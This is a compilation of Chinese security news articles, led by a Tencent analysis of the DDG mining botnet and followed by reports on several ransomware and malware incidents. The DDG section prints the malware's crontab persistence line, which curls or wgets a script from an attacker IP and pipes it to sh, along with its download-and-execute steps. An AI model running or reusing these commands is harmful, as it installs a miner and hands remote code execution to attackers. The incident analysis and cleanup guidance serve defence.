分类: 恶意软件

警惕:DDG 挖矿僵尸网络利用 SSH 弱口令爆破攻击 Linux 服务器

感谢腾讯御见威胁情报中心来稿! 原文:https://mp.weixin.qq.com/s/twR_Jh3aT8n7be3kbmyDhA   一、背景 腾讯安全专家在为某企业客户进行例行安全巡检过程中,发现客户部署的腾讯御界高级威胁检测系统出现了SSH服务失陷感知信息。在征得客户同意后对客户机器进行远程取证,并结合御界的关键日志进行分析,我们发现这是一起针对SSH服务器弱口令爆破攻击事件。由于发现及时,工程师及时协助客户进行隔离及杀毒,并未造成损失。 腾讯安全御见威胁情报中心对本次攻击事件展开调查,结果发现,这是由大型挖矿僵尸网络DDGMiner发起的攻击事件。DDGMiner是最早于2017年被发现的挖矿僵尸网络,其特点为扫描攻击 SSH服务、Redis 数据库和OrientDB数据库等服务器,并在攻陷的服务器上植入挖矿木马挖掘门罗币获利。从病毒服务器的目录中last modified字段可以看到,本次攻击中样本的更新时间为2019-08-29,目前为4004版本。 对样本进行分析后,发现与此前版本不同的是,样本中新增了针对Nexus Repository Manager漏洞、Supervisord漏洞的利用攻击代码,其攻击流程大致如下: 根据腾讯云鼎实验室监测数据,云上主机遭受来自最新版本DDGMiner的攻击流量从2019.08.29开始出现,在8月30日到达峰值,8月31日到9月1日下降到一定范围之后趋于平稳,大部分攻击流量被有效拦截。 而在少量失陷主机中,90%以上遭到SSH弱口令爆破入侵,由此可见DDGMiner的主要传播方式仍然为SSH爆破。腾讯安全提醒企业用户务必使用高强度的SSH、Redis登录密码,避免因设置不当而遭受攻击造成不必要的损失。 二、详细分析 黑客在通过弱口令爆破或漏洞攻击入侵后首先下载Shell脚本i.sh,并将其安装为crontab定时任务每15分钟执行一次。 mkdir -p /var/spool/cron/crontabsecho "" > /var/spool/cron/rootecho "*/15 * * * * (/usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh) | sh" >> /var/spool/cron/rootcp -f /var/spool/cron/root /var/spool/cron/crontabs/root 然后检测是否已经存在进程nfosfa4,若存在则杀死进程并删除对应的文件,然后从服务器下载ddgs.$(uname -m)保存为nfosfa4,其中uname –m用来获取系统类型并映射到文件名。最后通过chmod +x给nfosfa4赋予可执行权限,从而完成木马的下载更新。 ps auxf | grep -v grep | grep nfosfa4 || rm -rf nfosfa4if [ ! -f "nfosfa4" ]; then curl -fsSL -m1800 http://68.183.140.39/static/4004/ddgs.$(uname -m) -o nfosfa4||wget -q -T1800 http://68.183.140.39/static/4004/ddgs.$(uname -m) -O nfosfa4fichmod +x nfosfa4 接着查找并杀死多个历史版本的病毒进程,进程名分别为nfosbcb、nfosbcc、nfosbcd、nfosbce、nfosfa0、nfosfa1、nfosfa2。 ps auxf | grep -v grep | grep nfosbcb | awk '{print $2}' | xargs kill -9ps auxf | grep -v grep | grep nfosbcc | awk '{print $2}' | xargs kill -9ps auxf | grep -v grep | grep nfosbcd | awk '{print $2}' | xargs kill -9ps auxf | grep -v grep | grep nfosbce | awk '{print $2}' | xargs kill -9ps auxf | grep -v grep | grep nfosfa0 | awk '{print $2}' | xargs kill -9ps auxf | grep -v grep | grep nfosfa1 | awk '{print $2}' | xargs kill -9ps auxf | grep -v grep | grep nfosfa2 | awk '{print $2}' | xargs kill -9 然后启动病毒的最新版本nfosfa4,病毒被存放于以下四个目录之一。 /usr/bin/nfosfa4 /usr/libexec/nfosfa4 /usr/local/bin/nfosfa4 /tmp/nfosfa4 nfosfa4是采用golang语言开发,编译成基于Linux的ELF可执行文件,并且采用UPX加壳保护。golang语言是一款开源编程系统,其优点为简单可靠,支持夸平台编译等。golang语言非常适合服务器编程、分布式系统和数据库相关的网络编程,而DDGMiner恰好符合这些特点。 为了便于分析,我们通过Linux下的UPX脱壳工具进行脱壳,然后使用IDAGolangHelper脚本在IDA中对函数进行重命名。处理之后可以比较清晰的看到样本中漏洞攻击、挖矿、清除挖矿竞品等功能。 在还原后的函数中,可以看到针对SSH爆破、以及针对Redis服务器、Supervisord服务器、Nexus Repository Manager服务器的漏洞利用攻击代码。 样本还使用了hashicorp的go开源库memberlist来构建分布式网络,memberlist是用来管理分布式集群内节点发现、节点失效探测、节点列表的开源程序(github: https://github.com/hashicorp/memberlist)。样本初次到达受害机时,会获取本地节点的地址和状态信息,然后尝试连接到内置的ip列表中的远端节点从而加入远端的集群。 memberlist利用被称为“疫情传播算法”的Gossip协议在僵尸网络集群中同步数据。Gossip 过程由种子节点发起,当一个种子节点有状态需要更新到网络中的其他节点时,它就会随机的选择周围几个节点散播消息,收到消息的节点也会重复该过程,直至最终网络中所有的节点都收到了消息。病毒通过这个过程将某个节点上获得更新的挖矿木马和攻击脚本同步到所有节点。 最后,在挖矿功能部分,通过main_ptr_miner_Download函数下载,main_ptr_miner_Update更新,main_ptr_miner_CheckMd5校验矿机Md5值,以及通过main_ptr_miner_Run启动矿机,并且通过调用main_ptr_miner_killOtherMiner对其他挖矿木马进行清除。 三、安全建议 1、使用高强度的Redis登陆密码、SSH登陆密码, 必要时添加防火墙规则避免其他非信任来源ip访问。 2、及时修复Redis、Nexus Repository Manager、Supervisord服务相关的高危漏洞。 3、已中毒的linux服务器可采用以下手动清理方案。 a)、crontab如果如果包含以下内容,进行清理: "*/15 * * * * (/usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh) | sh" b)、/var/spool/cron/root文件,如果包含以下内容,进行清理: "*/15 * * * * (/usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh) | sh" c)、/var/spool/cron/crontabs/root文件,如果包含以下内容,进行清理: "*/15 * * * * (/usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh) | sh" d)、删除以下文件 /usr/bin/nfosfa4 /usr/libexec/nfosfa4 /usr/local/bin/nfosfa4 /tmp/nfosfa4 /usr/bin/betsbcc /usr/libexec/betsbcc /usr/local/bin/betsbcc /tmp/betsbcc /usr/bin/brhjbcc /usr/libexec/brhjbcc /usr/local/bin/brhjbcc /tmp/brhjbcc e)删除/tmp目录下文件 qW3xT, qW3xT.1, qW3xT.2, qW3xT.3, qW3xT.4, ddgs.3010, ddgs.3011, ddgs.3013, ddgs.3016, 2t3ik, 2t3ik.m, 2t3ik.p, 2t3ik.s, imWBR1, imWBR1.ig, wnTKYg, wnTKYg.noaes, fmt.3018 4、使用腾讯御界高级威胁检测系统检测未知黑客的各种可疑攻击行为。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。 IOCs IP 68.183.140.39 URL hxxp://68.183.140.39:8000/static/4004/ddgs.x86_64 hxxp://68.183.140.39:8000/static/4004/ddgs.i686 hxxp://68.183.140.39:8000/i.sh MD5 bdfa1c43b3e03880d718609af3b9648f 76309d50ad8412954ca87355274bd8ff 4f0ef26b713d28469d08a8a833339e77 参考链接: https://blog.netlab.360.com/fast-analyze-ddg-v3021-and-v3022/

新研究暗示 2016 年乌克兰停电事件背后的潜在原因

据外媒报道,2016年12月,俄罗斯黑客在乌克兰国家电网运营商Ukrenergo的网络中植入了一种被称为Industroyer或Crash Override的恶意软件。而在圣诞节前两天的午夜,网络犯罪分子利用已经部署好的恶意软件破坏了乌克兰首都基辅附近一个传输站的所有断路器,从而导致首都大部分地区断电。 虽然这起网络攻击引发了一系列问题,但却没有给出明确的答案:首先,这次网络攻击的真正动机是什么?第二,为什么一个恶意软件能够如此强大,它可以瞬间让整个城市进入黑暗之中,而一个小时后工厂的工人只需要打开断路器就能修复? 对此,来自工业控制系统网络安全公司Dragos的研究人员近日发布了一篇论文,他们在文中重建了2016年乌克兰断电的时间线,希望能为寻找上述问题的答案获得一些启发。在这篇题为《CRASHOVERRIDE: Reassessing the 2016 Ukraine Electric Power Event as a Protection-Focused Attack》的文章中,研究团队梳理了恶意软件的代码并重新访问了Ukrenergo的网络日志。他们得出的结论是,有证据表明,黑客的意图是造成更大强度的物理破坏,如果没有几个月也会将停电时间延长到数周甚至可能危及到现场工厂工人的生命。如果是这样的话,那么攻击基辅电力供应的恶意软件将只是另外两种恶意代码–Stuxnet和Triton的其中一种,这两种曾分别攻击过伊朗和沙特阿拉伯。 然而问题的实质则在于细节。文章作者、Dragos分析师Joe Slowik表示:“虽然这最终是一个直接的破坏性事件,但部署的工具和使用它们的顺序强烈表明,攻击者想要做的不仅仅是把灯关掉几个小时。他们试图创造条件,对目标传输站造成物理破坏。” 更具体一点说,Joe和Dragos给出的理论暗示了黑客利用Crash Override发送自动脉冲来触发断路器进而利用由西门子生产的Siprotec保护继电器的一个已知漏洞。尽管在2015年发布了一个修复上述漏洞的安全补丁,但乌克兰的许多电网站并没有更新它们的系统,这就位黑客们打开了一扇门,他们只需要发出一个电脉冲就能让安全继电器在休眠状态下失效。 为了搞明白这点,Dragos搜索了Ukrenergo的日志并将它所发现的信息的原始线程联系起来。他们第一次重构了黑客的操作方式,具体如下:首先,黑客部署了Crash Override;然后他们用它来处罚基辅北部一个电网站的每一个断路器进而导致大规模停电;一个小时后,他们发射了一个雨刷组件从而使发射站的电脑无法工作并阻止了对发射站数字系统的监控;死后,黑客破坏了该电站的4个Siprotec保护继电器,从而使电站容易受到危险高频率电力的影响。 事实上,这一事件并没有持续到最后。虽然Dragos无法找到黑客计划失败的原因,但它怀疑黑客的某些网络配置错误或现场工作人员在发现正在休眠的Siprotec继电器时做出的快速反应可能是挽救局面的原因。   (稿源:cnBeta,封面源自网络。)

黑客通过伪造 PayPal 网站传播勒索软件

近期,有网站通过冒充 PayPal 官网,向不知情的用户传播 Nemty 勒索软件的新变种。 这个恶意软件的运营商正在尝试各种分发渠道,因为它被检测出是 RIG 漏洞利用工具包(EK)的有效载荷。   通过返现奖励引诱用户 当前最新的 Nemty 来自于该假冒 PayPal 网站,该网站承诺,将返还支付金额的 3-5% 给使用该网站进行支付操作的用户。   网友可以通过一些细节判断出此网站并非官网,该网站也被多家主流浏览器标记为危险,但用户还是有可能会继续下载和运行恶意软件“cashback.exe”。 安全研究人员 nao_sec  发现了新的 Nemty 分发渠道,并使用 AnyRun  测试环境来部署恶意软件并在受感染的系统上跟踪其活动。 自动分析显示,勒索软件加密受害主机上的文件大约需要7分钟。具体时间可能因系统而异。 幸运的是,该勒索软件可以被市场上最流行的防病毒产品检测到。对 VirusTotal 的扫描显示 68 个防病毒引擎中有 36 个检测到了该软件。   同形字攻击 因为网络犯罪分子使用的就是原网页的构造,所以该诈骗网站看起来就是官方网站。 为了增强欺骗性,网络犯罪分子还使用所谓的同形异义域名链接到了网站的各个部分(包括帮助和联系,费用,安全,应用和商店)。 骗子在域名中使用来自不同字母表的 Unicode 字符。浏览器会自动将它们转换为 Punycode  Unicode 中的内容看起来像 paypal.com,而在Punycode 中以 ‘xn--ayal-f6dc.com’ 的形式存在。 安全研究员 Vitali Kremez 指出这个 Nemty 勒索软件变种目前处于1.4版本,此版本修复了前版本中的一些小错误。 他观察到的一件事是“isRU” 检查已经被修改了,该检查可以验证受感染的计算机是否在俄罗斯,白俄罗斯,哈萨克斯坦,塔吉克斯坦或乌克兰。在最新版本中,如果检查结果为真,那么恶意软件不会随着文件加密功能而移动。   但是,这些国家/地区以外的计算机会被设为目标,他们的文件会被加密,副本也会被删除。 根据测试显示,黑客提出的赎金为 0.09981 BTC,约为 1,000美元,并且支付门户被匿名托管在了 Tor 网络上。 8月底,另一位安全研究员  Mol69 看到Nemty 通过RIG EK 进行分发,这样的做法十分反常,因为瞄准 Internet Explorer 和 Flash Player 这些不受欢迎的产品的攻击套件目前已经基本不存在了。   消息来源:BleepingComputer, 译者:xyj,校审:吴烦恼 本文由 HackerNews.cc 翻译整理,封面来源于网络。 转载请注明“转自 HackerNews.cc ” 并附上原文链接

新勒索病毒 Ouroboros 来袭,多地医疗、电力系统受攻击

感谢腾讯御见威胁情报中心来稿! 原文: https://mp.weixin.qq.com/s/A3JYdC0dNze29v2W0xe1RA   一、概述 腾讯安全御见威胁情报中心通过蜜罐系统监测到Ouroboros勒索病毒在国内有部分传播,监测数据表明,已有湖北、山东等地的医疗、电力系统的电脑遭遇该勒索病毒攻击。经分析发现,该病毒的破坏仅在部分有限的情况可解密恢复,但在病毒按预期运行,基础设施完善情况下,暂无法解密。 Ouroboros勒索病毒首次出现于2019年8月中旬,目前发现其主要通过垃圾邮件渠道传播,由于其PDB路径中包含Ouroboros故因此得名,该病毒加密文件后会添加.Lazarus扩展后缀。 腾讯安全提醒各政企机构提高警惕,避免打开来历不明的邮件,腾讯电脑管家或腾讯御点终端安全管理系统可以查杀该病毒。 Ouroboros勒索病毒受害者的求助贴 Ouroboros勒索病毒的主要特点: 1.病毒会删除硬盘卷影副本; 2.部分样本会禁用任务管理器; 3.病毒加密前会结束若干个数据库软件的进程,加密文件时会避免加密Windows,eScan等文件夹; 4.个别情况下,该病毒的加密可以解密。在病毒按预期运行,基础设施完善情况下,暂无法解密; 5.攻击者弹出勒索消息,要求受害者通过电子邮件联系后完成交易。 二、分析 Ouroboros勒索病毒通常使用外壳程序来进行伪装,通过内存可Dump出勒索payload 查看勒索payload可知其PDB,根据PDB文件名,将该病毒命名为Ouroboros勒索病毒。 病毒运行后首先使用PowerShell命令行删除卷影 部分样本还会同时禁用任务管理器 首先获取本机的IP,磁盘信息,随机生成的文件加密Key信息,使用的邮箱信息进行上报 获取本机IP服务接口:hxxp://www.sfml-dev.org/ip-provider.php 病毒接收请求服务器IP:176.31.68.30   随后对服务器返回结果进行判断是否正常,当服务接口失活情况则拷贝一个硬编码密钥NC1uv734hfl8948hflgGcMaKLyWTx9H进行备用 加密前结束数据库相关进程列表: sqlserver.exe msftesql.exe sqlagent.exe sqlbrowser.exe sqlwriter.exe mysqld.exe mysqld-nt.exe mysqld-opt.exe 加密时避开以下关键词目录和文件: Windows eScan !Qhlogs Info.txt   硬编码的加密IV:1096644664328666 使用硬编码密钥KEY:NC1uv734hfl8948hflgGcMaKLyWTx9H进行AES文件加密   加密后如果为大文件则向后移动文件指针0xDBBA0处继续加密0x15F90字节大小内容   文件被加密为原始文件名.[ID=random][Mail=勒索邮箱号].Lazarus   例如如下图中“安装说明.txt”文件被加密为“安装说明.txt.[ID=40BjcX1Eb2][Mail=unlockme123@protonmail.com].Lazarus”   由于当前分析病毒版本接口未返回有效信息,病毒使用离线密钥进行加密,所以可以尝试对文件进行解密,编写测试demo可将上述“安装说明.txt”成功解密出原始内容。但由于在该病毒基础设施完善情况下,病毒攻击过程中使密钥获取困难,故该病毒的解密不容乐观。   病毒同时会留下名为Read-Me-Now.txt的勒索说明文档,要求联系指定邮箱购买解密工具     同时在ProgramData目录释放执行uiapp.exe弹出勒索说明窗口进一步提示勒索信息。   三、安全建议 企业用户: 针对该病毒的重点防御方案: 1.针对该勒索病毒主要通过电子邮件传播的特点,建议企业对员工加强安全意识教育,避免点击下载邮件附件。使用MS Office的用户,应尽量避免启用宏功能,除非该文档来源可靠可信。 2.使用腾讯御点终端安全管理系统或腾讯电脑管家拦截病毒,并启用文档守护者功能备份重要文档。 3.企业用户可以使用腾讯御界高级威胁检测系统,御界系统发现可疑邮件,并将可疑邮件的附件通过沙箱分析。在本案例中,御界系统的沙箱功能,分析出危险附件具有可疑的加密敲诈行为。 通用的安全措施: 1.企业内网可以关闭不必要的网络端口,降低黑客在内网攻击传播的成功率。如:445、135,139等,对3389,5900等端口可进行白名单配置,只允许白名单内的IP连接登陆。 2、尽量关闭不必要的文件共享,如有需要,请使用ACL和强密码保护来限制访问权限,禁用对共享文件夹的匿名访问。 3、采用高强度的密码,避免使用弱口令密码,并定期更换密码。建议服务器密码使用高强度且无规律密码,并且强制要求每个服务器使用不同密码管理。 4、对没有互联需求的服务器/工作站内部访问设置相应控制,避免可连外网服务器被攻击后作为跳板进一步攻击其他服务器。 5、对重要文件和数据(数据库等数据)进行定期非本地备份。 6、在终端/服务器部署专业安全防护软件,Web服务器可考虑部署在腾讯云等具备专业安全防护能力的云服务。   7、建议全网安装御点终端安全管理系统(https://s.tencent.com/product/yd/index.html)。御点终端安全管理系统具备终端杀毒统一管控、修复漏洞统一管控,以及策略管控等全方位的安全管理功能,可帮助企业管理者全面了解、管理企业内网安全状况、保护企业安全。 个人用户: 1、启用腾讯电脑管家,勿随意打开陌生邮件,关闭Office执行宏代码。 2、打开电脑管家的文档守护者功能,利用磁盘冗余空间自动备份数据文档,即使发生意外,数据也可有备无患。 IOCs MD5: 87283fcc4ac3fce09faccb75e945364c e17c681354771b875301fa30396b0835 感染信息上报IP: 176.31.68.30 勒索邮箱: Helpcrypt1@tutanota.com unlockme123@protonmail.com dadacrc@protonmail.ch Steven77xx@protonmail.com 离线情况AES密钥: KEY:NC1uv734hfl8948hflgGcMaKLyWTx9H IV:1096644664328666

警方劫持僵尸网络并远程移除 85 万台受感染计算机上的恶意程序

据外媒TechCrunch报道,在一项罕见的壮举中,法国警方劫持了一个庞大的加密货币挖掘僵尸网络,其控制着近百万台受感染的计算机。臭名昭著的Retadup恶意软件感染计算机,主要被用于挖掘加密货币。 虽然恶意软件被用来赚钱,但恶意软件运营商很容易运行其他恶意代码,如间谍软件或勒索软件。恶意软件还具有可信的属性,允许它从计算机传播到计算机。自首次亮相以来,加密货币挖掘恶意软件已遍布全球,包括美国,俄罗斯以及中南美洲。 安全公司Avast通过一篇博文证实该行动是成功的。 该安全公司在发现恶意软件的命令和控制服务器中存在设计缺陷后参与其中。研究人员表示,如果利用得当,该漏洞将“允许我们从受害者的计算机中删除恶意软件”,而不会将任何代码推送到受害者的计算机上。 该漏洞将拆除该操作,但研究人员缺乏推进的法律授权。由于大多数恶意软件的基础设施位于法国,因此Avast与法国警方联系。在7月份接到检察官的批准后,警方继续进行操作,控制服务器并对远程移除了受影响计算机上的恶意程序。 法国警方称该僵尸网络是“世界上被劫持计算机最大的网络之一”。 该操作通过与其Web主机的协作秘密获取恶意软件的命令和控制服务器的快照而起作用。研究人员表示,他们必须谨慎行事,以免恶意软件运营商注意到这一点,因为他们担心恶意软件运营商可以进行报复。 “这些恶意软件的作者主要分发加密货币矿工,从而获得了非常好的被动收入,”这家安全公司表示。“但如果他们意识到我们即将完全取消Retadup,他们可能会将勒索软件推送到成千上万台计算机,同时试图将其恶意软件用于获取最后的利润。” 随着手中的恶意命令和控制服务器的副本,研究人员构建了自己的副本,远程移除了受害者计算机的恶意软件,而不是导致感染。 “(警察)用准备好的杀毒服务器取代了恶意(命令和控制)服务器,该服务器使连接的Retadup实例自毁,”Avast在博客文章中说。“在其活动的第一秒,有数千个机器人连接到它,以便从服务器获取命令。杀毒服务器回复他们并对他们进行杀毒,滥用协议设计缺陷。“ 通过这样做,该公司能够阻止恶意软件的运行,并将恶意代码从超过85万台受感染的计算机上移除。 法国警方网络部门负责人Jean-Dominique Nollet 表示,恶意软件运营商产生了数百万欧元的加密货币。 远程关闭恶意软件僵尸网络是一项罕见的成就 – 但难以实施。 几年前,美国政府撤销了第41条规则,现在允许法官在其管辖范围之外发布搜查和扣押令。许多人认为此举是联邦调查局努力进行远程黑客行动而不受法官管辖权的地方阻碍。批评人士认为,如果一位友好的法官在单一手令上侵入无数的计算机,那将是一个危险的先例。 从那时起,修订后的规则被用于拆除至少一个主要的恶意软件操作,即所谓的Joanap僵尸网络,这被认为与为朝鲜政府工作的黑客有关。   (稿源:cnBeta,封面源自网络。)

勒索软件攻击影响了美国数百家牙科诊所

据外媒Techspot报道,一个黑客组织本周设法渗透到美国数百家牙科诊所办公室的网络中,并用勒索软件加载他们的系统。正如Krebs on Security所强调的那样,PerCSoft是一家位于威斯康星州的数字牙科记录云管理提供商,该公司运营著名的DDS Safe在线数据备份服务。该服务为全国数百家牙科诊所提供牙科记录、图表、保险信息等。 黑客们使用Evil (Sodinokibi) 勒索软件攻击PerCSof,锁定约400牙科诊所的文件。多个消息来源报告说,PerCSoft支付了赎金,并获得了一个解密密钥,其正在积极地分发给受影响的牙科诊所,以帮助他们恢复他们的文件。 Krebs表示,目前尚不清楚PerCSoft是否直接支付了赎金,或者资金是否由保险公司提供。向付费受害者提供解密密钥符合黑客的最佳利益。如果他们声称不提供钥匙,那么人们就会放弃支付赎金,并且没有经济激励黑客继续这样做。 根据ProPublica的说法,提交保险索赔和支付免赔额通常比赎金赎金的全部成本要便宜得多。不幸的是,这鼓励黑客专门针对那些他们知道拥有网络保险的公司。   (稿源:cnBeta,封面源自网络。)

美国官员担心针对 2020 年选举的勒索软件攻击

据路透社报道,美国政府计划在大约一个月内启动一项计划,该计划的重点是在2020年总统大选之前保护选民登记数据库和系统。这些系统在投票前被广泛用于验证选民的资格,2016年俄罗斯黑客试图收集信息,这些系统受到了损害。据现任和前任美国官员称,情报官员担心,2020年的外国黑客不仅会瞄准数据库,而且会企图操纵或破坏这些数据。 “我们将这些系统评估为高风险,”一位美国高级官员表示。网络安全与基础设施安全局(CISA)是美国国土安全部的一个部门,该部门官员担心数据库可能成为勒索软件的目标。勒索软件是一种使美国各地的城市计算机网络陷入瘫痪的病毒,包括最近在德克萨斯州,巴尔的摩和亚特兰大。 “最近的历史表明,州和县政府以及支持他们的人都是勒索软件攻击的目标,”CISA主任Christopher Krebs说道。“这就是我们与选举官员及私营部门合作伙伴一起帮助保护他们的数据库并应对可能的勒索软件攻击的原因。” 勒索软件攻击通常会锁定受感染的计算机系统,直到通常以加密货币的形式向黑客支付赎金以便恢复数据。 根据现任和前任美国官员的说法,针对选举的反击勒索软件式网络攻击的努力与更大的情报界指令平行,以确定在2020年11月大选中最可能的数字攻击媒介。联邦调查局在支持国土安全倡议的一份声明中表示,“各州和市政当局必须限制有关选举制度或行政程序的信息,并确保其网站和数据库可以被利用。” CISA的计划将与州选举官员联系,为这种勒索软件场景做准备。它将提供教育材料、远程计算机渗透测试和漏洞扫描,以及有关如何防止和从勒索软件中恢复的建议列表。 但是,如果一个州的某个系统已经被感染,这些指导方针不会提供关于州政府是否应该最终支付或拒绝向黑客支付赎金的建议。“我们的想法是,我们不希望各州必须处于这种状况,”一位国土安全部官员说。“我们专注于防止它发生。” 官员表示,在过去两年中,网络罪犯和黑客组织使用勒索软件勒索受害者并制造混乱。在2017年发生的一起事件中,勒索软件被用来掩盖数据删除技术,使受害计算机完全无法使用。这次被称为“NotPetya”的攻击继续损害全球公司,包括联邦快递和马士基等。 专家支出,这种威胁因其对投票结果的潜在影响而受到关注。“选举前未被发现的攻击可能会篡改选民名单,造成巨大的混乱和拖延,剥夺权利,并且足够大规模可能会影响选举的有效性,”选举技术ESET研究所首席技术官John Sebes说道。 数据库也“特别容易受到这种攻击,因为当地司法管辖区和州全年积极地添加,删除和更改数据,”民主与技术中心的高级技术专家Maurice Turner说道。“如果恶意行为者没有提供密钥,除非受害者有最近的备份,否则数据将永远丢失。” 州选举官员告诉路透社,自2016年以来,他们已经改善了网络防御,包括在某些情况下,在发生攻击时为选民登记数据库准备备份。但国土安全部一位高级官员表示,地方政府就应该多久创建备份没有共同标准。“我们必须记住,对我们民主的这种威胁不会消失,对勒索软件攻击选民登记数据库的担忧就是一个明显的例子,”佛蒙特州州务卿Jim Condos说。“我们确信威胁远未结束。”     (稿源:cnBeta,封面源自网络。)

开发者移除 11 个 Ruby 库中 18 个带有后门的版本

RubyGems 软件包存储库的维护者近期移除了 11 个 Ruby 库中出现的 18 个恶意版本,这些版本包含了后门机制,可以在使用 Ruby 时启动加密货币挖掘程序。恶意代码最初发现于 4 个版本的 rest-client 库中,rest-client 是一个非常流行的 Ruby 库。 这些库中的恶意代码会将受感染系统的 URL 和环境变量发送到乌克兰的远程服务器。同时代码还包含一个后门机制,允许攻击者将 cookie 文件发送回受感染对象,并允许攻击者执行恶意命令。研究者调查后发现,这种机制被用于挖矿。 除了 rest-client,还有其它 10 个 Ruby 库也中招,但它们都是通过使用另一个功能齐全的库添加恶意代码,然后以新名称在 RubyGems 上重新上传而创建的。 研究人员分别统计了这些恶意版本在被移除前被下载的次数,一共被下载了三千多次,其中 rest-client 1.6.13 被下载了一千多次: rest-client:1.6.10(下载 176 次),1.6.11(下载 2 次),1.6.12(下载 3 次)和 1.6.13 (下载 1061 次) bitcoin_vanity:4.3.3(下载 8 次) lita_coin:0.0.3(下载 210 次) 即将推出:0.2.8(下载211次) omniauth_amazon:1.0.1(下载 193 次) cron_parser:0.1.4(下载 2 次),1.0.12(下载 3 次) )和 1.0.13(下载 248 次) coin_base:4.2.1(下载 206 次)和 4.2.2(下载 218 次) blockchain_wallet:0.0.6(下载 201 次)和 0.0.7(下载 222 次) awesome-bot:1.18.0(下载 232 次) doge-coin:1.0.2(下载 213 次) capistrano-colors:0.5.5(下载 175 次) 安全起见,建议在依赖关系树中删除这些库版本,或者升级/降级到安全版本,详情查看: https://www.zdnet.com/article/backdoor-code-found-in-11-ruby-librarie   (稿源:开源中国,封面源自网络。)

最新安全报告:单反相机已成为勒索软件攻击目标

恶意勒索软件近年来已经成为计算机系统的主要威胁,在成功入侵个人电脑,医院、企业、机构和政府部门的系统之后就会进行加密锁定,只有用户交付一定的赎金才能解锁。不过现在安全研究人员发现了单反相机同样存在这项的安全风险。援引安全软件公司Check Point今天发布的一份报告,详细说明了如何在数码单反相机中远程安装恶意程序。研究人员Eyal Itkin发现,黑客可以轻易地在数码相机上植入恶意软件。 他表示标准化的图片传输协议是传递恶意软件的理想途径,因为它是未经身份验证的,可以与WiFi和USB一起使用。该报告中指出通过黑客可以在热门景点部署有风险的WiFi热点,只要单反连接到这些热点之后就能进行攻击,从而进一步感染用户的PC。 在一段视频中,Itkin展示了他如何通过WiFi入侵Canon E0S 80D并加密SD卡上的图像,以便用户无法访问它们。他还指出,相机对于黑客来说可能是一个特别有价值的目标:毕竟相机中可能会存在很大用户不想要删除的影像资料。而且在真正的勒索软件攻击中,黑客设定的赎金往往不会太高,因此很多人会愿意交付赎金来摆脱不便。 Check Point表示它在3月份披露了佳能的漏洞,并且两人于5月份开始工作以开发补丁。上周,佳能发布了安全公告,告诉人们避免使用不安全的WiFi网络,在不使用时关闭网络功能,并在相机上更新并安装新的安全补丁。 Itkin表示目前他们只对佳能设备进行了测试,但是他告诉The Verge:“由于协议的复杂性,我们还认为其他供应商也可能容易受到这种攻击,但这取决于他们各自的实施情况。”   (稿源:cnBeta,封面源自网络。)

破坏型攻击爆发:制造业沦为重灾区

研究人员表示在过去6个月中网络攻击所造成的破坏力翻倍,而且受影响的组织中有50%属于制造业。基于近阶段的网络攻击,本周一IBM的X-Force IRIS事件响应团队发布了新的安全研究报告,强调破坏型恶意软件正在快速爆发。通过对恶意代码的分析发现,诸如Industroyer,NotPetya或Stuxnet在内的恶意程序不再是纯碎的窃取数据和秘密监控,而是造成更有破坏力的伤害。这些破坏行为包括锁定系统、让PC崩溃、渲染服务不可操作以及删除文件等等。 研究人员表示:“在历史上,像Stuxnet,Shamoon和Dark Seoul这样的破坏性恶意软件通常是被有国家背景的黑客所使用。不过自2018年年末以来,网络攻击份子开始不断将这些破坏型代码整合到自己的攻击中,例如LockerGoga和MegaCortex这样的新型勒索软件。” 而制造业是这些攻击的主要目标,目前曝光的案件中50%以上和工业公司有关。其中石油、天然气和教育领域的组织是重灾区,非常容易受到这种类型的攻击。最常见的初步感染手段就是网络钓鱼电子邮件,然后窃取进入内部网络所需要的电子凭证,注水漏洞攻击,劫持目标连接从而让对方妥协。 在发动恶意攻击之前,一些黑客将潜伏在公司系统中数月。IBM的X-Force IRIS事件响应团队的全球补救负责人Christopher Scott表示:“目前在破坏型恶意软件中存在另种攻击行为,前期保持缓慢发展,直到收集到需要的所有信息才会进行破坏;而另一种则是单纯的入侵然后破坏。” 报告中称当一家企业遭受破坏型恶意软件攻击之后,平均会有12000个工作站受到损坏,并且在攻击事件发生之后可能需要512个小时或者更长时间才能恢复。在一些极端情况下,恢复时间甚至可以延长到1200个小时。而大公司的恢复成本非常高,平均成本高达2.39亿美元。作为对比,Ponemon Institute估计,平均数据泄露将花费392万美元。   (稿源:cnBeta,封面源自网络。)